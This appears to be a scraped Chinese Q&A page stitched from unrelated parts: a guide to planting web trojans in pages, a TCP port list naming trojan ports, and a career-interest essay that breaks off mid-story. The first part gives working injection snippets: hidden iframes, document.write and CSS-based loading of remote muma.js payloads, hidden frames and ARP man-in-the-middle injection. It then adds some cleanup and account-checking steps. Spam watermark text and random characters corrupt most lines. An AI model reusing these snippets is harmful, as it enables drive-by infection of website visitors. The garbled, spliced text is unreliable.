SRI編程
⑴ 在網頁是讓訪問網頁的人自動下載並且自動安裝的代碼
一:框架掛馬浪漫之家社區門戶.}8d{ocb
;Z}x?\` sT-e0 <iframe src=地址 width=0 height=0></iframe>浪漫之家社區門戶*f2iNFvtV$V
]-iXpQG+v$\0二:js文件掛馬浪漫之家社區門戶2D(D_3QU1a YS
T,UEsy(~ Q!i"K0 首先將以下代碼浪漫之家社區門戶XvK&DSs_ n
document.write("<iframe width='0' height='0' src='地址'></iframe>");浪漫之家社區門戶7v1rWpv4E`
保存為xxx.js,
0];Q.E?N A0 則JS掛馬代碼為
xt].y4QfX0 <script language=javascript src=xxx.js></script>
(~+}Cy:R9ss0浪漫之家社區門戶(rJ(E^5Z b|+p
三:js變形加密浪漫之家社區門戶w4{7v~ Cj
浪漫之家社區門戶gAub7\5Us
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>浪漫之家社區門戶'IQWSv
muma.txt可改成任意後綴浪漫之家社區門戶 aJ5~7sX]
四:body掛馬浪漫之家社區門戶LV3X"HVc?#[
7y0k9P;Z&hn0 <body ></body>
0u yo.{\Za0浪漫之家社區門戶;M2cA Xo,[\,m
五:隱蔽掛馬
P2@vj2\m}.LBf0浪漫之家社區門戶bF9^c A;i[6\;l k`
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.linglihu.com/"></iframe>';浪漫之家社區門戶o1}"uC)u
浪漫之家社區門戶'_g+N#` x'@$x
六:css中掛馬浪漫之家社區門戶^1c9|5T+E3A l `0R
.P:ZGz3qy`0 body {浪漫之家社區門戶*]&N5b+S2d!k v!p%o
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}浪漫之家社區門戶9@ T{-jBQk:c*k i
8@mpE3Y-E+[o0七:JAJA掛馬
^O7hzN0
El*V z{4Wz3lGs,?,D0 <SCRIPT language=javascript>
LX@2t B5j4xRL.~0 window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 浪漫之家社區門戶RoN {z]&J{A$}b[
</script>浪漫之家社區門戶L0} N.Ii2x`P*GT+@
浪漫之家社區門戶 A0h2l%|ekT
八:圖片偽裝
1x(lu.\1NE'p:sY0浪漫之家社區門戶TfZ4L:VR_ U
<html>浪漫之家社區門戶b8X%K"AZ?;WAZ$y
<iframe src="網馬地址" height=0 width=0></iframe>
g^M2c8Iqj/S0g0 <img src="圖片地址"></center>浪漫之家社區門戶#D5H!L Au cgU
</html>浪漫之家社區門戶I8@J(j$hfI b
4p'kxc!jyhLtL0九:偽裝調用:浪漫之家社區門戶3n [?5j8HlA|
浪漫之家社區門戶Pno.ND
<frameset rows="444,0" cols="*">浪漫之家社區門戶2|6jm6W+C*h
<frame src="打開網頁" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
Jg({%E!v,~1v VN0 <frame src="網馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
E!|n#AQ'H/J F0 </frameset>浪漫之家社區門戶*r;B?D"wLE-zI n
浪漫之家社區門戶4O&Cpi/W6gNM%rU
十:高級欺騙
`8A${,qi0
j w3dMu'}9Z0 <a href="http://www.linglihu.com(迷惑連接地址,顯示這個地址指向木馬地址)" > 頁面要顯示的內容 </a>
_`!xA,B3e zt6T;C0<SCRIPT Language="JavaScript">浪漫之家社區門戶L%w~StQ-@5]S
function www_163_com ()浪漫之家社區門戶O U7\%d Z7x
{浪漫之家社區門戶%l4y"C)R&j-Re1g
var url="網馬地址";
[};t0A&G0open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,history=yes,width=800,height=600,left=10,top=10");浪漫之家社區門戶 Wh!j+Hm;`c
}浪漫之家社區門戶)r5g#Sj7SB4^_
</SCRIPT>
:y&N~-a!^$?dd6E0浪漫之家社區門戶u~E6KQD
十一: 超級網馬—通過arp欺騙來直接掛馬
:mhZ2F3r3r-z$s2O0
"YO8C^i$rl/].o0原理:arp中間人攻擊,實際上相當於做了一次代理。浪漫之家社區門戶]%DpqmFV?C8E7_F
浪漫之家社區門戶:|3_j$@&aw.]?t
正常時候: A---->B ,A是訪問的正常客戶,B是要攻擊的伺服器,C是被我們控制的主機
7LI KTs0arp中間人攻擊時候: A---->C---->B
gh|$[b N0B---->C---->A
iIqcO8v0實際上,C在這里做了一次代理的作用浪漫之家社區門戶9lxbjEE9_3Xr r L
浪漫之家社區門戶R.{*kT9Ui
那麼HTTP請求發過來的時候,C判斷下是哪個客戶端發過來的包,轉發給B,然後B返回HTTP響應的時候,在HTTP響應包中,插入一段掛馬的代碼,比如<iframe>...之類,再將修改過的包返回的正常的客戶A,就起到了一個掛馬的作用.在這個過程中,B是沒有任何感覺的,直接攻擊的是正常的客戶A,如果A是管理員或者是目標單位,就直接掛上馬了。
8cd1bA j+v}0
p6j4xgv0如何處理網頁木馬:
.r:ej y}izC#i01、找到嵌入的網頁木馬文件。以下,拿自己的經歷說事。找到的文件是wm.htm
#c [:[}.caA ?4s)ax0浪漫之家社區門戶C%qQ7Xd M-i8T,\ q
2、在注冊表中查找wm.htm。很幸運,找到了。開始順藤摸瓜...浪漫之家社區門戶)qJXkHY)I
浪漫之家社區門戶*@ L uIi
3、修改鍵值wm.htm為wm_nnd.htm。
/bX0e5I-`0浪漫之家社區門戶R+jyC)wk8Kl,y
4、再次查找wm.htm。很不幸,又查到了。說明有服務程序在作怪。嘿嘿,有意外發現。浪漫之家社區門戶bQ[7~,\2P
cain.exe,據說是密碼嗅探器。浪漫之家社區門戶gG.px xa_C
8m9e"z5^!q)[8By8iY;BA05、修改鍵值cain.exe為cain_nnd.exe。
`m+b3@ @-H0浪漫之家社區門戶ax;U+p1n(J
6、查找cain.exe,仍然可以查到。嘻嘻,在預料之中。
M*UQ:\7Rc`B0浪漫之家社區門戶U(F0Nu9W
7、懷疑wm.htm與cain.exe同流合污,背後有服務程序作後台。浪漫之家社區門戶}zj4x V2G
浪漫之家社區門戶V;q0l:@Sri
8、快查查看,系統服務程序。在運行->msconfig 或直接在命令行使用net start,查看可疑程序
vI4f J)L o)D0
'i G*E W*^a09、發現temp*.exe(全名記不清了),立馬net stop server 。浪漫之家社區門戶;F{%\B7r a9eY
'W2IH9bP2MI:Oxkk010、快去修改鍵值wm.htm為wm_nnd.htm,cain.exe為cain_nnd.exe。
0jW r7O C0
(j}y,w6G+Z011、再次查找wm.htm或cain.exe,沒有找到。哈哈,很好。
Q(|%h,}t0
5VO\mW@;y.N;n012、觀察了幾天,沒再發生掛馬的現象。 另外,通過檢測網路連接查看伺服器是否中了木馬或病毒浪漫之家社區門戶3\O] @n{r
浪漫之家社區門戶I$@K9QN&S${/U
1、使用netstat -an 查看所有和本地計算機建立連接的IP。
.gB1n dL(|H}0
(B.Qv1v%?2k+G X02、連接包含四個部分——proto(連接方式)、local address(本地連接地址)、foreign address(和本地建立連接的地址)、state(當前埠狀態)。 通過這個命令的詳細信息,可以完全監控計算機上的連接,從而達到控制計算機的目的。
7J;rK5WE0浪漫之家社區門戶"i \$J\ KI
3、手工製作bat程序,生成網路連接日誌文件供站長分析:bat文件代碼如下
1BKY-~#Bx8u@J#G0浪漫之家社區門戶2@wQY5M
REM 注釋:監控的時間
;|)RUz!A;X@0time /t>>Netstat.log浪漫之家社區門戶L:vR9ZSum
REM 每隔30秒,把伺服器上通過tcp協議通訊的IP和埠寫入日誌文件浪漫之家社區門戶8| F {.f,p*H5f a]
Netstat -n -p tcp 30>>Netstat.log浪漫之家社區門戶9LUgLM(X[%v
dA_"C_`!J+{0注意:要謹慎使用,這會給伺服器帶來性能影響。最好,在伺服器發生異常,懷疑中木馬或病毒時,用來分析網路連接日誌。浪漫之家社區門戶y Bs}mZ\
浪漫之家社區門戶e&f$J!@#k
僅僅這些還不夠,說說更嚴重的:浪漫之家社區門戶 nw!C~/@.k {bc_
6UM T%`3HQs8`m r01、可惡的攻擊者喜歡使用克隆賬號的方法來控制你的計算機。「它們」激活一個系統中的默認賬戶,但這個賬戶是不經常用的, 然後使用工具把這個賬戶提升到管理員許可權,從表面上看來這個賬戶還是和原來一樣,但是這個克隆的賬戶卻是系統中最大的安全隱患。浪漫之家社區門戶i{${1}v1hd+r$E"ix
浪漫之家社區門戶 j8o0~|`:~^"B&G
2、趕快檢測系統帳戶:
X!u'w Q7^*cJ(o&OH0a、在命令行下輸入net user,查看計算機上有些什麼用戶。浪漫之家社區門戶] t G.^ @T
b、使用「net user 用戶名」查看這個用戶屬於什麼許可權的及登錄時間等。
9b)~~&x0?"l,Gru0c、一般除了Administrator是administrators組的,如果你發現一個系統內置的用戶是屬於administrators組的,
E T/u/d%i#B1{u0 那麼別人在你的計算機上克隆賬戶的概率為90%。浪漫之家社區門戶*w}+g9B0\
d、是使用「net user 用戶名 /del」 來刪掉這個用戶,還是修改其它配置,這你說了算。
⑵ 「埠」 中的數字都代表什麼意思
電腦用來跟外界交換數據 再詳細的話看這里
http://www.ytcy.ik8.com/game/dk.txt
埠 說明
1 傳輸控制協議埠服務多路開關選擇器
2 compressnet 管理實用程序
3 壓縮進程
5 遠程作業登錄
7 回顯(Echo)
9 丟棄
11 在線用戶
12 我的測試埠
13 時間
15 netstat
17 每日引用
18 消息發送協議
19 字元發生器
20 文件傳輸協議(默認數據口)
21 文件傳輸協議(控制)
22 SSH遠程登錄協議
23 telnet 終端模擬協議
24 預留給個人用郵件系統
25 smtp 簡單郵件發送協議
27 NSW 用戶系統現場工程師
29 MSG ICP
31 MSG驗證
33 顯示支持協議
35 預留給個人列印機服務
37 時間
38 路由訪問協議
39 資源定位協議
41 圖形
42 WINS 主機名服務
43 "綽號" who is服務
44 MPM(消息處理模塊)標志協議
45 消息處理模塊
46 消息處理模塊(默認發送口)
47 NI ftp
48 數碼音頻後台服務
49 TACACS登錄主機協議
50 遠程郵件檢查協議
51 IMP(介面信息處理機)邏輯地址維
52 施樂網路服務系統時間協議
53 域名伺服器
54 施樂網路服務系統票據交換
55 ISI圖形語言
56 施樂網路服務系統驗證
57 預留個人用終端訪問
58 施樂網路服務系統郵件
59 預留個人文件服務
60 未定義
61 NI郵件?
62 非同步通訊適配器服務
63 WHOIS+
64 通訊介面
65 TACACS資料庫服務
66 Oracle sql*NET
67 引導程序協議服務端
68 引導程序協議客戶端
69 小型文件傳輸協議
70 信息檢索協議
71 遠程作業服務
72 遠程作業服務
73 遠程作業服務
74 遠程作業服務
75 預留給個人撥出服務
76 分布式外部對象存儲
77 預留給個人遠程作業輸入服務
78 修正TCP
79 Finger(查詢遠程主機在線用戶等信息)
80 全球信息網超文本傳輸協議(www)
81 HOST2名稱服務
82 傳輸實用程序
83 模塊化智能終端ML設備
84 公用追蹤設備
85 模塊化智能終端ML設備
86 Micro Focus Cobol編程語言
87 預留給個人終端連接
88 Kerberros安全認證系統
89 SU/MIT終端模擬網關
90 DNSIX 安全屬性標記圖
91 MIT Dover假離線
92 網路列印協議
93 設備控制協議
94 Tivoli對象調度
95 SUPDUP
96 DIXIE協議規范
97 快速遠程虛擬文件協議
98 TAC(東京大學自動計算機)新聞協議
99 Telnet服務,開99埠 (Troj.open99)
101 usually from sri-nic
102 iso-tsap
103 gppitnp
104 acr-nema
105 csnet-ns
106 3com-tsmux
107 rtelnet
108 snagas
109 Post Office
110 Pop3 伺服器(郵箱發送伺服器)
111 sunrpc
112 mcidas
113 身份查詢
114 audionews
115 sftp
116 ansanotify
117 path 或 uucp-path
118 sqlserv
119 新聞伺服器
120 cfdptkt
121 BO jammerkillah
123 network
124 ansatrader
125 locus-map
126 unitary
127 locus-con
128 gss-xlicen
129 pwdgen
130 cisco-fna
131 cisco-tna
132 cisco-sys
133 statsrv
134 ingres-net
135 查詢服務 DNS
136 profile PROFILE Naming System
137 NetBIOS 數據報(UDP)
138 NetBios-DGN
139 共享資源埠(NetBios-SSN)
140 emfis-data
141 emfis-cntl
142 bl-idm
143 IMAP電子郵件
144 NeWS
145 uaac
146 iso-tp0
147 iso-ip
148 jargon
149 aed-512
150 sql-net
151 hems
152 bftp
153 sgmp
154 netsc-prod
155 netsc-dev
156 sqlsrv
157 knet-cmp
158 PCMAIL
159 nss-routing
160 sgmp-traps
161 遠程管理設備(SNMP)
162 snmp-trap
163 cmip-man
164 cmip-agent
165 xns-courier Xerox
166 s-net
167 namp
168 rsvd
169 send
170 network Po
171 multiplex Network
172 cl/1 Network
173 xyplex-mux
174 mailq
175 vmnet
176 genrad-mux
177 xdmcp
178 nextstep
179 bgp
180 ris
181 unify
182 audit
183 ocbinder
184 ocserver
185 remote-kis
186 kis
187 aci
188 mumps
189 qft
190 gacp
191 prospero
192 osu-nms
193 srmp
194 Irc
195 dn6-nlm-aud
196 dn6-smm-red
197 dls
198 dls-mon
199 smux
200 src IBM
201 at-rtmp
202 at-nbp
203 at-3
204 at-echo
205 at-5
206 at-zis
207 at-7
208 at-8
209 qmtp
210 z39.50 ANSI
211 914c/g
212 anet
214 vmpwscs
215 softpc Insignia Solutions
216 CAIlic
217 dbase
218 mpp
219 uarps
220 imap3
221 fln-spx
222 rsh-spx
223 cdc
242 direct
243 sur-meas
244 dayna
245 link
246 dsp3270
247 subntbcst_tftp
248 bhfhs
256 rap
257 set
258 yak-chat
259 esro-gen
260 openport
263 hdap
264 bgmp
280 http-mgmt
309 entrusttime
310 bhmds
312 vslmp
315 load
316 decauth
317 zannet
321 pip
344 pdap
345 pawserv
346 zserv
347 fatserv
348 csi-sgwp
349 mftp
351 matip-type-b
351 matip-type-b
353 ndsauth
354 bh611
357 bhevent
362 srssend
365 dtk
366 odmr
368 qbikgdp
371 clearcase
372 ulistproc ListProcessor
373 legent-1
374 legent-2
374 legent-2
375 hassle
376 nip
377 tnETOS
378 dsETOS
379 is99c
380 is99s
381 hp-collector
383 hp-alarm-mgr
384 arns
385 ibm-app
386 asa
387 aurp
388 unidata-ldm
389 ldap
390 uis
391 synotics-relay
393 dis
394 embl-ndt
395 netcp
396 netware-ip
397 mptn
398 kryptolan
399 iso-tsap-c2
400 vmnet0
401 ups Uninterruptible Power Supply
402 genie Genie Protocol
403 decap
404 nced
405 ncld
406 imsp
407 timbuktu
408 prm-sm
409 prm-nm
410 decladebug DECLadebug Remote Debug Protocol
411 rmt
412 synoptics-trap
413 smsp SMSP
414 infoseek
415 bnet
416 silverplatter
417 onmux
418 hyper-g
419 ariel1
420 smpte
421 ariel2
422 ariel3
423 opc-job-start
424 opc-job-track
425 icad-el
426 smartsdp
427 svrloc
428 ocs_cmu
429 ocs_amu
430 utmpsd
431 utmpcd
432 iasd
433 nnsp
434 mobileip-agent
435 mobilip-mn
436 dna-cml
437 comscm
438 dsfgw
439 dasp
440 sgcp
441 decvms-sysmgt
442 cvc_hostd
443 安全服務
444 snpp
445 NT的共享資源新埠(139)
446 ddm-rdb
447 ddm-dfm
448 ddm-ssl
449 as-servermap
450 tserver
451 sfs-smp-net
453 creativeserver
454 contentserver
455 creativepartnr
456 Hackers
457 scohelp
458 appleqtc
459 ampr-rcmd
460 skronk
461 datasurfsrv
462 datasurfsrvsec
463 alpes
464 kpasswd
465 smtps
466 digital-vrc
467 mylex-mapd
468 photuris
469 rcp
470 scx-proxy
471 mondex
472 ljk-login
473 hybrid-pop
474 tn-tl-w1
475 tcpnethaspsrv
476 tn-tl-fd1
477 ss7ns
478 spsc
479 iafserver
480 iafdbase
481 ph Ph
482 bgs-nsi
483 ulpnet
484 integra-sme
485 powerburst Air Soft Power Burst
486 avian
487 saft
488 gss-http
489 nest-protocol
490 micom-pfs
491 go-login
492 ticf-1
493 ticf-2
494 pov-ray
495 intecourier
496 pim-rp-disc
497 dantz
498 siam
499 iso-ill
500 sytek
501 stmf
502 asa-appl-proto
503 intrinsa
504 citadel
505 mailbox-lm
506 ohimsrv
507 crs
508 xvttp
509 snare
510 fcp
511 passgo
512 exec
513 login
514 shell
515 printer
516 videotex
517 talk
518 ntalk
519 utime
520 efs
521 ripng
522 ulp
523 ibm-db2
524 ncp NCP
525 timed
526 tempo newdate
527 stx
528 custix
529 irc-serv
530 courier
531 conference chat
532 netnews
533 netwall
534 mm-admin
535 iiop
536 opalis-rdv
537 nmsp
538 gdomap
539 apertus-ldp
540 uucp
541 uucp-rlogin
542 commerce
543 klogin
544 kshell
545 appleqtcsrvr
546 dhcpv6-client
547 dhcpv6-server
548 afpovertcp
549 idfp
550 new-rwho
551 cybercash
552 deviceshare
553 pirp
554 rtsp
555 dsf
556 remotefs
557 openvms-sysipc
558 sdnskmp
559 teedtap
560 rmonitor
561 monitor
562 chshell chcmd
563 nntps
564 9pfs
565 whoami
566 streettalk
567 banyan-rpc
568 ms-shuttle
569 ms-rome
570 meter
571 meter
572 sonar
573 banyan-vip
574 ftp-agent
575 vemmi
576 ipcd
577 vnas
578 ipdd
579 decbsrv
581 bdp
588 cal
589 eyelink
590 tns-cml
593 http-rpc-epmap
594 tpip
596 smsd
599 acp Aeolon Core Protocol
600 ipcserver Sun IPC server
606 urm Cray
607 nqs
608 sift-uft
609 npmp-trap
610 npmp-local
611 npmp-gui
613 hmmp-op
620 sco-websrvrmgr
621 escp-ip
625 dec_dlm
626 asia
628 qmqp
630 rda
631 ipp
632 bmpp
634 ginad
635 rlzdbase
636 ldaps
637 lanserver
639 msdp
666 doom
667 disclose
668 mecomm
669 meregister
670 vacdsm-sws
671 vacdsm-app
672 vpps-qua
673 cimplex
674 acap
675 dctp
704 elcsd
705 agentx
709 entrust-kmsh
710 entrust-ash
729 netviewdm1
730 netviewdm2
731 netviewdm3
741 netgw
742 netrcs
744 flexlm
747 fujitsu-dev
748 ris-cm
749 kerberos-adm
750 rfile
751 pump
752 qrh
753 rrh
754 tell send
758 nlogin
759 con
760 ns
761 rxe
762 quotad
763 cycleserv
764 omserv
765 webster
769 vid
770 cadlock
771 rtip
772 cycleserv2
773 submit
774 rpasswd
776 wpages
780 wpgs
786 concert Concert
787 qsc QSC
801 device
873 rsync rsync
886 iclcnet-locate
887 iclcnet_svinfo
888 erlogin
900 omginitialrefs
911 xact-backup
990 ftps
991 nas
992 telnets
993 imaps
994 ircs
995 pop3s
996 vsinet
997 maitrd
998 busboy
999 garcon
1000 cadlock
1010 surf
1023 Reserved
1024 NetSpy.698 (YAI)
1025 network blackjack
1026 Win2000 的 Internet 信息服務
1031 iad2
1032 iad3
1033 Netspy
1042 Bla1.1
1047 GateCrasher
1080 Wingate
1058 nim
1059 nimreg
1067 instl_boots
1068 instl_bootc
1080 Wingate
1083 ansoft-lm-1
1084 ansoft-lm-2
1109 kpop
1114 SQL
1123 murray Murray
1155 nfa Network File Access
1212 lupa lupa
1222 nerv SNI R&D network
1239 nmsd NMSD
1243 Sub-7木馬
1245 Vodoo
1248 hermes
1269 Mavericks Matrix
1492 FTP99CMP (BackOriffice.FTP)
1509 Streaming Server
1524 ingreslock後門
1313 bmc_patroldb
1314 pdps
1321 pip PIP
1345 vpjp VPJP
1346 alta-ana-lm
1347 bbn-mmc
1348 bbn-mmx
1349 sbook Registration Network Protocol
1350 editbench
1352 lotusnote
1353 relief
1354 rightbrain
1355 intuitive-edge
1356 cuillamartin
1357 pegboard
1358 connlcli
1359 ftsrv
1360 mimer
1361 linx
1362 timeflies
1363 ndm-requester
1364 ndm-server
1365 adapt-sna
1366 netware-csp
1367 dcs
1368 screencast
1369 gv-us
1370 us-gv
1371 fc-cli
1372 fc-ser
1373 chromagrafx
1374 molly EPI Software Systems
1375 bytex
1376 ibm-pps
1377 cichlid
1378 elan
1379 dbreporter Integrity Solutions
1380 telesis-licman
1381 apple-licman
1382 udt_os
1383 gwha
1384 os-licman
1385 atex_elmd
1386 checksum
1387 cadsi-lm
1388 objective-dbc
1389 iclpv-dm
1390 iclpv-sc
1391 iclpv-sas
1392 iclpv-pm
1393 iclpv-nls
1394 iclpv-nlc
1395 iclpv-wsm
1396 dvl-activemail
1399 cadkey-licman
1400 cadkey-tablet
1402 prm-sm-np
1403 prm-nm-np
1404 igi-lm
1405 ibm-res
1406 netlabs-lm
1407 dbsa-lm
1408 sophia-lm
1409 here-lm
1410 hiq
1411 af AudioFile
1412 innosys
1413 innosys-acl
1414 ibm-mqseries
1415 dbstar
1416 novell-lu6.2
1417 timbuktu-srv1
1418 timbuktu-srv2
1419 timbuktu-srv3
1420 timbuktu-srv4
1421 gandalf-lm
1422 autodesk-lm
1423 essbase
1424 hybrid
1425 zion-lm
1426 sais
1427 mloadd
1428 inFORMatik-lm
1429 nms Hypercom NMS
1430 tp Hypercom TPDU
1431 rgtp
1432 blueberry-lm
1433 ms-sql-s
1434 ms-sql-m
1435 ibm-cics
1436 saism
1437 tabula
1438 eicon-server
1439 eicon-x25
1440 eicon-slp
1441 cadis-1
1442 cadis-2
1443 ies-lm
1444 marcam-lm
1445 proxima-lm
1446 ora-lm
1447 apri-lm
1448 oc-lm
1449 peport
1450 dwf
1451 infoman
1452 gtegsc-lm
1453 genie-lm
1454 interhdl_elmd
1455 esl-lm
1456 dca
1457 valisys-lm
1458 nrcabq-lm
1459 proshare1
1460 proshare2
1461 ibm_wrless_lan
1462 world-lm
1463 nucleus
1464 msl_lmd
1465 pipes
1466 oceansoft-lm
1467 csdmbase
1468 csdm
1469 aal-lm
1470 uaiact
1471 csdmbase
1472 csdm
1473 openmath
1474 telefinder
1475 taligent-lm
1476 clvm-cfg
1477 ms-sna-server
1478 ms-sna-base
1479 dberegister
1480 pacerforum
1481 airs
1482 miteksys-lm
1483 afs
1484 confluent
1485 lansource
1486 nms_topo_serv
1487 localinfosrvr
1488 docstor
1489 dmdocbroker
1490 insitu-conf
1491 anynetgateway
1492 FTP99CMP (BackOriffice.FTP)
1493 netmap_lm
1494 ica
1495 cvc
1496 liberty-lm
1497 rfx-lm
1498 sybase-sqlany
1499 fhc
1500 vlsi-lm
1501 saiscm
1502 shivadiscovery
1503 imtc-mcs
1504 evb-elm
1505 funkproxy
1506 utcd
1507 symplex
1508 diagmond
1509 Streaming Server
1510 mvx-lm
1511 3l-l1
1512 wins
1513 fujitsu-dtc
1514 fujitsu-dtcns
1515 ifor-protocol
1516 vpad
1517 vpac
1518 vpvd
1519 vpvc
1520 atm-zip-office
1521 ncube-lm
1522 ricardo-lm
1523 cichild-lm
1525 orasrv
1525 orasrv
1526 pdap-np
1527 tlisrv
1528 mciautoreg
1529 coauthor
1530 rap-service
1531 rap-listen
1532 miroconnect
1533 virtual-places
1534 micromuse-lm
1535 ampr-info
1536 ampr-inter
1537 sdsc-lm
1538 3ds-lm
1539 intellistor-lm
1540 rds
1541 rds2
1542 gridgen-elmd
1543 simba-cs
1544 aspeclmd
1545 vistium-share
1546 abbaccuray
1547 laplink
1548 axon-lm
1549 shivahose
1550 3m-image-lm
1551 hecmtl-db
1552 pciarray
1553 sna-cs
1554 caci-lm
1555 livelan
1556 ashwin
1557 arbortext-lm
1558 xingmpeg
1559 web2host
1560 asci-val
1561 facilityview
1562 pconnectmgr
1563 cadabra-lm
1564 pay-per-view
1565 winddlb
1566 corelvideo
1567 jlicelmd
1568 tsspmap
1569 ets
1570 orbixd
1571 rdb-dbs-disp
1572 Chipcom License Manager
1573 itscomm-ns
1574 mvel-lm
1575 oraclenames
1576 moldflow-lm
1577 hypercube-lm
1578 Jacobus License Manager
1579 ioc-sea-lm
1580 tn-tl-r1 tn-tl-r1
1581 mil-2045-47001
1582 msims
1583 simbaexpress
1584 tn-tl-fd2
1585 intv
1586 ibm-abtact
1587 pra_elmd
1588 triquest-lm
1589 vqp
1590 gemini-lm
1591 ncpm-pm
1592 commonspace
1593 mainsoft-lm
1594 sixtrak
1595 radio
1596 radio-sm
1597 orbplus-iiop
1598 picknfs
1599 simbaservices
1600 Shiv
1601 aas
1602 inspect
1603 picodbc
1604 icabrowser icabrowser
1605 slp Salutation Manager
1606 Salutation Manager
1607 stt
1608 Smart Corp. License Manager
1609 isysg-lm
1610 taurus-wh
1611 ill Inter Library Loan
1612 NetBill Transaction Server
1613 NetBill Key Repository
1614 NetBill Credential Server
1615 NetBill Authorization Server
1616 NetBill Proct Server
1617 Nimrod Inter-Agent Communication
1618 skytelnet
1619 xs-openstorage
1620 faxportwinport
1621 softdataphone
1622 ontime
1623 jaleosnd
1624 udp-sr-port
1625 svs-omagent
1636 cncp
1637 cnap
1638 cnip
1639 cert
1640 cert-responder
1641 invision
1642 isis-am
1643 isis-ambc
1645 datametrics
1646 sa-msg-port
1647 rsap rsap
1648 concurrent-lm
1649 inspect
1650 nkd
1651 shiva_confsrvr
1652 xnmp
alphatech-lm
1654 stargatealerts
1655 dec-mbadmin
1656 dec-mbadmin-h
1657 fujitsu-mmpdc
1658 sixnetudr
1659 sg-lm
1660 skip-mc-gikreq
1661 netview-aix-1
1662 netview-aix-2
1663 netview-aix-3
1664 netview-aix-4
1665 netview-aix-5
1666 netview-aix-6
1667 netview-aix-7
1668 netview-aix-8
1669 netview-aix-9
1670 netview-aix-10
1671 netview-aix-11
1672 netview-aix-12
1673 Intel Proshare Multicast
1674 Intel Proshare Multicast
1675 pdp Pacific Data Procts
1676 netcomm1
1677 groupwise
1678 prolink
1679 darcorp-lm
1681 sd-elmd
1682 lanyon-lantern
1683 ncpm-hip
1684 snaresecure
1685 n2nremote
1686 cvmon cvmon
1687 nsjtp-ctrl
1688 nsjtp-data
1689 firefox
1690 ng-umds
1691 empire-empuma
1692 sstsys-lm
1693 rrirtr
1694 rrimwm
1695 rrilwm
1696 rrifmm
1697 rrisat
1698 rsvp-encap-1
1699 rsvp-encap-2
1700 mps-raft
1701 l2f,l2tp
1702 deskshare
1703 hb-engine
1704 bcs-broker
1705 slingshot
1706 jetFORM
1707 vdmplay
1708 gat-lmd
1709 centra
1710 impera
1711 pptconference
1712 registrar resource monitoring service
1713 conferencetalk
1
⑶ 霍蘭德職業興趣(深度解析霍蘭德職業興趣)
一個人從畢業後踏入社會,能夠從事自己感興趣的工作將是一件非常幸福的事情。
工作就要做自己感興趣的
愛因斯坦說過:「興趣是最好的老師。」愛因斯坦在12歲的時候自學了歐幾里德幾何,對數學喜愛到狂熱的地步,那個時候他還開始自學高等數學,16歲的時候自學完成了微積分,大學時期又對物理學充滿了興趣,22歲的時候在萊比錫《物理學雜志》上發表了論文《由毛細管現象得到的推論》。正是由於愛因斯坦對物理學的熱愛,加上自己的天賦,最終在物理學領域提出了相對論。
諾貝爾物理學獎的獲得者丁肇中同樣對物理有著濃厚的興趣。20歲時,他帶著100美元,來到美國密歇根大學學習數學和物理,在3年多的時間里,他一直刻苦讀書,有時幾天幾夜待在實驗室里。有人問他:「你不覺得學習很苦嗎?"丁肇中笑著回答說:「不,一點也不,沒有任何人強迫我這樣做。正相反,我覺得很快樂,因為我對它感興趣,我急於要探索物理世界的奧秘。」
所以,我們可以想一想,當你做一件你感興趣的事情時,你會忘記時間,忘記吃飯、睡覺,你會樂在其中,而不知疲倦。
興趣是工作的不竭動力
德國偉大作家歌德說過:「 如果工作是一種樂趣,人生就是天堂。」
興趣能夠讓我們每個人發揮自身最大的潛能,能夠推動我們的職業更快成功
達爾文和《物種起源》
1809年2月12日,達爾文出生在英國一個叫做希留布里的小鎮。他的父親是當地著名的醫生,母親則喜歡栽培花卉和果樹,她常常教給孩子們識別花草果樹的知識。這使年幼的達爾文從小就和植物結下了不解之緣。
達爾文在8歲時進入了鎮上的小學,枯燥無味的課程使他厭煩。於是,他把精力和感情都傾注到課外的活動中,常常去野外捕捉昆蟲、尋找礦石、採集動植物的標本。16歲時,達爾文和哥哥一起被父親送到愛丁堡大學去學醫。每當課余和假日,他就同漁民一道出海,撒網捕魚,製作標本,帶回來分析研究。父親見他並沒有改變自己的興趣和愛好,十分惱火,便把他送進了劍橋大學神學院。神學院的課程內容是拍陵襲達爾文從小就聽厭了的陳詞濫調,他對此毫無興趣。但劍橋大學的學術環境和資源給了他成長的空間,他讀了很多自然科學的書籍,還拜亨斯洛教授為師。亨斯洛教授精通植物學、昆蟲學、化學、礦物學和地質學,正是由於他的引導,達爾文才真正走上科學研究的道路。
1831年,達爾文從劍橋大學畢業,獲得了牧師的職位,然而此時他的全部感情和志向卻集中在生物學和礦物學上。那時正值英國政府向全球擴張,不斷派船探險,這年12月,英國政府組織了「貝格爾號」軍艦的環球考察,經亨斯洛教授的推薦,達爾文以「博物學家」的身份,自費搭船,踏上貝格爾艦,開始了為期五年五年的艱辛而生死難測的環球考察旅行。在這次環球科學考察中,達爾文積累了大量的資料。回國之後又經過長達二十餘年的研究。1859年11月達爾文的科學巨著《物襲兄種起源》終於出版了。這部著作的問世,第一次把生物學建立在完全科學的基礎上,標志著生物進化論的正式確立。
1882年4月19日,這位偉大的科學家因病逝世,人們把他的遺體安葬在牛頓的墓旁,以表達對這位科學家的敬仰。
回顧達爾文的一生,不難發現,正是對動植物的興趣促使達爾文走上了生物學家而不是醫生的道路。
既然,興趣對一個人的職業發展如此重要,哪怎麼樣才能發現一個人的興趣呢?
如何發現自己的興趣?
很多人認為這非常簡單,誰還不知道自己對什麼感興趣呢?比如,喜歡看書,喜歡游戲,喜歡動漫,喜歡數學,喜歡表演,這些不汪改都是自己的興趣嘛。
但這些是每個人感覺中的興趣,不一定是自己最真實的興趣,也不一定是全面的興趣,更可能不是真實的興趣。
格林斯潘的故事
